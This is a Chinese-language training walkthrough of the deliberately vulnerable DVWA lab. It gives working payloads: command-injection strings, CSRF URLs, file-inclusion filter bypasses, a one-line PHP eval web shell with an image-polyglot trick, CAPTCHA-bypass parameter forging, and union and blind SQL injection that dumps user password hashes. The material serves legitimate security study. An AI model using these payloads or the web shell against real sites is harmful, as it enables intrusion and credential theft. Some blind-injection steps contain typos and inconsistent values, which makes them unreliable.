Brute Force
low
先查看源码
可以直接爆破,用burpsuit抓包
随便输入一组用户名和密码。
先把所有变量全部清除
然后分别用字典使用爆破。
先爆破用户名
找到长度不同的部分,密码依照上述过程
得到密码为password,用户名为admin
Medium
Medium步骤和low等级完全一样,主要是源码多了一点东西导致难度会提高一点,不过,不必担心,low能爆出来的Medium也能爆出来
分析源码:
用了数据库查询,防止数据库注入
sleep()函数意味着休眠,即登录失败后会休眠两秒。
添加了休眠两秒,但没事按照low的步骤做就行,只是时间长一点。
High
high的难度明显比上面两要高,
分析源码:
Token变量是在计算机编程中常见的一种变量类型,它通常用于存储用户身份验证信息、令牌或标识符。Token变量的值通常在服务器端生成,并通过客户端进行验证。在Web应用程序中,Token变量通常用于防止跨站请求伪造(CSRF)攻击和保持用户会话状态。
所以前两种方法实现不了
开始,还是先抓包,发送到intruder
1.清除所有变量
2.选中密码变量和token变量并添加为载荷
3.选择第三种攻击类型——pitchfork,表示使用两个字典,密码和token的值进行逐行匹配
修改线程为1,大于1可能会有问题,因为token是每次验证完后才会新生成token,所以不能使用多线程进行爆破
下拉找到Grep——extract(这里是为了从我们的请求中提取到token,分辨特征,以便为每个密码找到对应的token)
3.勾选“从响应中提取以下项目”,点击add
在弹出的界面里点击refetch response,从回复的数据里找到token的值,双击选中,上半部分的页面会自动分辨填值,得到token的特征,方便从回复中找到token,这里的token要复制一遍,方便在后面直接填充
设置第二个参数——token
设置完毕,开始爆破
密码同上步骤
Command Injection
命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。
low
先看题
提示我们输入ip地址
尝试输入本机ip地址,127.0.0.1,点击提交
出现乱码
解决办法:
找dvwaPage.ini.php文件
在文件中ctrl+f,用搜索栏查找utf-8,将UTF-8改为GBK或者GB2312即可
再进行一次测试,输入127.0.0.1
然后分析源码
画线部分的函数意为执行ping命令
虽然源码只让我们进行ping操作,但我们也可以考虑在执行ping命令操作的同时执行其他命令
补充说明
命令连接符在命令行中用于连接多个命令,以实现特定的逻辑关系或操作。以下是常见的命令连接符及其含义:
&&:代表“与”的关系,只有当前面的命令执行成功时,才会执行后面的命令。这种连接符常用于保证命令执行的连续性和依赖性。
||:代表“或”的关系,只有当前面的命令执行失败时,才会执行后面的命令。这种连接符常用于备选操作或异常处理。
;:表示命令的顺序执行,不管前一个命令是否执行成功,都会执行下一个命令。这种连接符常用于顺序执行多个命令,无需关心前一个命令的执行结果。
|:表示管道,将前一个命令的输出作为后一个命令的输入。这种连接符常用于将多个命令连接起来,实现复杂的逻辑操作。
&:表示后台运行,将命令放在后台执行,允许用户继续在终端中执行其他操作。这种连接符常用于在后台运行长时间运行的命令或进程。
我们使用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入
命令:127.0.0.1 | dir
Medium
分析源码
这两个符号被列入黑名单了
但不影响,我们可以使用黑名单之外的命令连接符继续命令注入。
使用‘&’命令连接符注入
命令:127.0.0.1 & dir
High
继续分析源码
一样的套路只不过黑名单数量增多了
但注意有一个黑名单是’| ‘,不是’|‘,说明’|‘是可用的
使用’|’连接符进行注入
命令:127.0.0.1 |dir
CSRF
low
网站的本意是让我们在网站里更改密码
先查看源码
分析源码可知它只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,没有任何过滤,所以能轻易执行csrf漏洞。所以我们先按它要求改一下密码
发现
可以分析出password_new是我输入的密码,password_conf是我确认的密码。
这就意味着我可以通过控制url栏里传入的参数,来在网站内执行更改密码的操作
再url栏中输入上述语句
Medium
先分析源码
比low的代码加了检查请求是否来自该网站,若不是则无法执行下列语句
源码是通过referrer这个字段的参数进行判断的
补充:
Referer验证是一种安全机制,用于检测和防止跨站请求伪造(CSRF)攻击。在HTTP协议中,Referer头部表示请求的来源页面地址,当用户从一个页面跳转到另一个页面时,浏览器会自动将来源页面的URL添加到请求头部中。
通过验证Referer,可以判断请求的合法性。如果Referer是其他网站,就有可能是CSRF攻击,系统可以拒绝该请求。系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token。如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
先抓个包
构造一个页面,里面放一个a标签,链接为更改密码的url,当受害者点击时就会触发更改密码的操作,我们只需要把这个html页面的位置放在和网站同一个目录下,即在自己的电脑上构造一个访问目标网站域名的html文件
设计a标签
设计的url:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
将网站的ip地址作为html页面(不同的人可能不一样,这里就不放了)
里面的a标签就是更改密码的操作
找到
将做好的页面放在这里,打开html页面,点击a标签,触发攻击。
攻击完成
high
分析源码
可以看到比先前多了token值的校验
每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token,获得用户token的方式有两种:
1.构造一个页面让用户点击,点击之后偷偷的读取用户登录网站的token,把token加到自己构造的更改密码的表单上做让用户点击完成攻击,但由于同源策略,一半无法获得token,也有解决方法,但那个更繁琐,这里不赘述了。
2.如果用户网站上刚好有存储型漏洞,可以利用存储型漏洞与csrf漏洞配合,即通过存储型漏洞获得token再利用csrf漏洞结合拿到的token完成攻击。
这个难度已经很难绕过了,所以我只能假设获得了token,而将token拼接到medium等级的表单中完成攻击获得的token:20f07053354bf93a94e3bb45e2923312
在原来的表单中将token进行拼接
让后攻击,
说实话,high难度的题让我有点汗流浃背了
File Inclusion
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
low
先分析源码
发现源码很简单,没有任何过滤
再查看页面
发现allow_url_include没有开启
allow_url_include参数表示可以远程利用文件包含漏洞
先把它开启
在小皮中找到配置文件
将off改为on,保存
然后重启小皮,刷新页面就OK了
通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数
对page传参为http://127.0.0.1/1.php
成功
Medium
分析源码
发现比low多了点东西
即:如果传参值中有http:// https:// …/ …\都将替换为空
所以我们传htthttp://p://127.0.0.1/1.php
成功
high
先分析源码
和上面相比变化又大了点
关键代码为 使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。
可利用file协议进行读文件
补充:
File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。要使用File协议,基本的格式如下:file:///文件路径,比如要打开D盘images文件夹中的pic.gif文件,那么可以在资源管理器或IE地址栏中键入:file:///D:/images/pic.gif然后回车。对于本地机器,根目录下的目录是Windows下的盘符,如“C:”、“D:”等。需要注意的是,最后面的/是必不可少的,且file协议,通常只能在Windows Explorer和Micosoft IE中使用。
替换一下可以了
File Upload
low
在做这道题之前,先准备一句话木马
<?php @eval($_POST[‘666’]);?>
先分析源码
发现没什么值得注意的,所以,直接上传一句话木马
用蚁剑连接一下
Medium
分析源码
比low多了点东西,只允许 jpeg 或者 png上传
同时限制文件大小不能超过 100000B
上传一句话木马,然后抓包
进行改包
修改文件类型为 “image/png”,
然后放包
用蚁剑连接一下
high
老规矩,先分析源码
strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写
所以我们要先制作图片马
准备一张图片和一句话木马,然后使用 copy 命令把两个文件合成为一个文件
copy 1.jpg/b + 1.php/a 2.jpg
上传,
使用文件包含漏洞模块中的low关, 进行加载图片,成功解析
完成。
Insecure CAPTCHA
(不安全的CAPTCHA)是指存在安全漏洞或易受攻击的验证码系统
刚开始会遇到如图所示的情况
需要在配置文件中加入谷歌的密钥
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
刷新一下
low
先分析源码
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这个代码其实是分成两部分
一个部分是用来判断验证码的正确性,如果正确了就再返回密码的界面,这个界面就不再需要输入验证码的,按提交就可以修改密码了。这两个部分的用 form 表单的 step 字段区分。
所以可以抓包
输入新密码,然后抓包
然后放包
Medium
先分析源码
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
相比较于low等级的代码,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,
然而我们依然可以通过伪造参数绕过验证。
输入新密码,然后抓包
改包:增加passed_captcha参数,绕过验证码。
放包
high
还是先分析源码
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
我们发现High验证改成了单步,加入了另一个参数'g-recaptcha-response',加入验证user-agent。
通过前两个级别的攻破,我们应该知道,增加的这个参数根本没啥用;而user-agent也是完全可以改包的。
输入新密码,然后抓包
更改参数g-recaptcha-response以及http包头的User-Agent:
放包,结束
SQL Injection
low
先判断类型,
题目让我们输入id,所以
用?id=1 and 1=2 &Submit=Submit#,判断一下
没报错
所以不是数字型
再用
?id=1' &Submit=Submit#
报错了,类型为字符型
判断字段数
?id=1' order by 3 -- qwe &Submit=Submit#
再试试2;
字段数为2.
爆出显示位
?id=1' union select 1,2 -- qwe &Submit=Submit#
查看当前数据库的版本号,及当前数据库名
?id=1' union select version(),database() -- qwe &Submit=Submit#
输出当前数据库下的所有表名
?id=1' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe &Submit=Submit#
查询users表下面的所有字段名
?id=1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe &Submit=Submit#
查询users 表中的user、password字段数据
?id=1' union select user,password from users limit 0,1 -- qwe &Submit=Submit#
、
?id=1' union select user,password from users limit 3,1 -- qwe &Submit=Submit#
Medium
先看看源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
比起low不同的是选择不同的ID显示对应的name,并且没有在URL中传参。
猜测是否通过POST猜测,对当前页面抓包
抓取到传参1的数据包
将id修改为4
判断是否存在注入
id=4 and 1=1
类型为数字型注入
判断字段数
先尝试一下3
id=4 order by 3
再试试2
所以字段数为2
爆出显示位
id=1 union select 1,2
判断当前数据库版本号
id=1 union select version(),database()
查询当前数据库下所有的表名
id=1 union select version(),group_concat(table_name) from information_schema.tables where table_schema=database()
查询users表下面的所有字段名
id=1 union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
语法错误,猜测是否单引号的问题呢,由于MySQL默认支持16进制编解码,故对users进行16进制编码
0x75736572
查询users表中的user和password字段数据
id=12 union select user,password from users limit 0,1
high
这个难度又有点不同
当访问页面时,发现通过一个链接才能修改对应的ID
先交个1上去
判断是否存在注入点
单引号闭合
判断字段数
1' order by 2 -- qwe
再试试3
字段数为3
爆出显示位
1' union select 1,2-- qwe
爆数据库名,数据库版本号
12' union select version(),database()-- qwe
爆表
12' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
爆users表下的所有字段数
12' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe
爆users表中的user和password字段
12' union select user,password from users limit 0,1 -- qwe
完成
SQL Injection (Blind)
做这关之前推荐大家下载sqlmap,不然这关就太折磨了
low
当输入user ID后显示用户ID存在
当输入的ID数值特别大时
满足布尔盲注场景,
获取版本号
select version();
首先测试版本号的长度,这里要用到一些 MySql 函数。length() 函数用于获取字符串的长度,substr( string, start, length) 函数用于截取字符串 string,start 为起始位置,length 为长度。注入如下内容,首先用 substr 函数提取返回的版本号字符串,使用 length() 函数和我们的猜测值比较是否相等。返回查询不存在,说明版本号字符串长度不为猜测值 1。
1' and length(substr((select version()),1)) = 1 #
接下来就是挨个试
从1到6
1' and length(substr((select version()),1)) = 6 #
注入方法是使用穷举法,依次用 0 ~ 9 和 “.” 11 个字符进去测试。经过 SQL 盲注后,回显查询成功的语句如下,组合起来的版本号是 “5.7.26”。
1' and substr((select version()),2,1) = '.' #
1' and substr((select version()),3,1) = '7' #
1' and substr((select version()),4,1) = '.' #
1' and substr((select version()),5,1) = '2' #
1' and substr((select version()),6,1) = '6' #
猜数据库名
先猜数据库名长度:
1' and length(database())=1 #
显示不存在 直到
1' and length(database())=1 #
显示存在。。说明库名长度为4.
然后采用二分法猜数据库的名字。
输入
1' and ascii(substr(databse(),1,1))>88 #
显示存在,说明数据库名的第一个字符的ascii值大于88;
输入
1' and ascii(substr(databse(),1,1))<110 #
显示存在,说明数据库名的第一个字符的ascii值小于110;
直到猜到准确的数为止。我们通过试验知道了,这里第一个ASCII值为100,ASCII的表去找对应的字母
输入
1' and ascii(substr(database(),2,1))>88 #
—— 去找第二个字母 等等等
重复以上步骤,得到库名为dvwa
猜解数据库中的表名
先猜表的个数 1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ,输出MISSING 不存在
接着 1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #,输出MISSING 不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists 存在
所以有两个表,我们先猜第一个表的长度
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING
使用二分法 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出 exists
直到—— 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。
现在猜第一个表的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
直到—— 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g
然后我们再去猜其他的9个字母,为u、e、s、t、b、o、o、k,即为guestbook。
以及去猜第二个表
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #
。。。。。。。
第二个表为,users
猜列名
就直接拿 users表为例了。
先猜表中的字段数目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # (中间步骤省略了) 数目为 8
猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码...
【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/...
密码:password/pass_word/pwd/pass/...
所以说我们的命令就可以是 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,输出exists
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,输出exists
所以我们可以知道 users表中有 user和password。还可以试试别的
猜表中的字段值
同样使用二分法来做,直接写最后一步了:
用户名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,输出exists
——说明user字段中第1个字段值的字符长度=5。
密码的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,
——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)
然后再使用二分法猜解user字段的值:(用户名)
1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)
1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)
。。。。。
猜解password字段的值:(密码)
1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)
。。。。。(过程实在太多,就不截图了,用sqlmap的话就快很多)
Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
分析源码可知,它利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入
可以使用抓包修改id
接下来的步骤就和low的步骤一样了,这里就不在复述了
high
这关和SQL Injection high难度形式一样,
分析源码
cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。
同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。但是我们可以通过#将其注释掉。
还是使用布尔盲注
和low级别用到的代码一样,只不过换了个地方
(太耗时间了)
Weak Session IDs
会话ID(Session ID)是一个标识用户会话的字符串,用于在Web应用程序中跟踪用户的状态和活动。当用户访问Web应用程序时,服务器会生成一个唯一的会话ID,并将其存储在用户的浏览器中。
会话ID通常使用Cookie或URL重写技术来存储和传递。通过使用会话ID,服务器可以跟踪用户在整个会话中的活动,包括他们访问的页面、提交的表单、购买的商品等。
会话ID对于Web应用程序来说非常重要,因为它有助于保持用户的会话状态、实现个性化设置、跟踪用户行为等。然而,由于会话ID是敏感信息,应该采取适当的措施来保护其安全性和隐私性,例如使用HTTPOnly Cookie和加密技术来保护会话数据。
弱会话ID(Weak Session ID)是一种特殊的会话ID,用于在Web应用程序中标识用户会话。与常规的会话ID不同,弱会话ID只包含用户代理(User Agent)信息,不包含其他与用户相关的信息。弱会话ID通常用于限制某些用户会话的访问权限,例如限制为只允许来自特定用户代理的请求访问特定的资源或执行特定的操作。
弱会话ID的实现方式通常包括在HTTP请求头中添加一个特殊的标识符,该标识符包含有关用户代理的信息。服务器可以通过解析请求头中的弱会话ID来验证请求是否来自允许访问资源的用户代理。
弱会话ID有助于提高Web应用程序的安全性和可伸缩性,因为它可以限制某些资源或操作的访问权限,而不需要存储和验证大量的用户信息。然而,需要注意的是,弱会话ID并不提供与常规会话ID相同级别的个性化设置和跟踪用户行为的能力。
弱会话ID(Weak Session ID)可能会带来一些风险,主要涉及安全性和隐私方面的问题。以下是可能的风险:
- 会话劫持:如果攻击者能够窃取用户的弱会话ID,他们可能会利用该ID进行会话劫持,即假冒用户身份登录到Web应用程序。由于弱会话ID只包含用户代理信息,攻击者可能能够绕过一些身份验证机制,并获得对应用程序的访问权限。
- 跨站请求伪造(CSRF)攻击:弱会话ID的弱化可能导致应用程序对跨站请求伪造(CSRF)攻击的防御能力降低。如果攻击者能够诱导用户执行特定的操作,例如提交表单或执行转账等敏感操作,他们可能会利用弱会话ID来绕过应用程序的安全措施,并执行恶意请求。
- 用户隐私泄露:由于弱会话ID不包含用户的个人信息,一些应用程序可能会将用户的隐私信息泄露给第三方或用于不正当的目的。例如,应用程序可能会将用户的浏览习惯、搜索历史或其他敏感信息与弱会话ID关联起来,并将其用于广告或其他商业目的,而没有经过用户的明确同意或充分保护用户的隐私权。
low
分析源码
源码看起来很简单
$html = "";
这一行初始化一个空的字符串变量$html
,但在这个代码片段中,它并未被使用。if ($_SERVER['REQUEST_METHOD'] == "POST") { ... }
这一部分检查请求的方法是否为 POST。如果是 POST 请求,则执行大括号内的代码。if (!isset ($_SESSION['last_session_id'])) { ... }
这一部分检查$_SESSION['last_session_id']
是否被设置。如果没有被设置,它将把$_SESSION['last_session_id']
设置为 0。$_SESSION['last_session_id']++
将$_SESSION['last_session_id']
的值增加 1。这是一个常见的做法,用于生成一个唯一的会话 ID。$cookie_value = $_SESSION['last_session_id'];
将新生成的会话 ID 赋值给$cookie_value
。setcookie("dvwaSession", $cookie_value);
设置一个名为 "dvwaSession" 的 cookie,其值为$cookie_value
(即新的会话 ID)。
这段代码的主要目的是在用户提交 POST 请求时生成一个新的、唯一的会话 ID,并将其设置为一个 cookie。这通常用于跟踪用户会话,确保用户在整个会话期间都能被正确识别。
这个代码并没有处理可能出现的错误或异常情况,例如在设置 cookie 时可能出现的错误。
使用Burp抓包获取Cookie:
如上图,Cookie为:PHPSESSID=si9vvogl58pl5tru4gg8vuiebe; security=low
接着清除浏览器中该页面缓存,重新打开浏览器使用hackbar进行execute
如下图,输入URL及Cookie:
Medium
分析源码
和low相比,该登录模块基于时间戳生成会话
先抓包
得到时间戳
发送至repeater并发包
使用转换工具进行时间戳转换
然后和low一样
high
分析源码
$html = "";
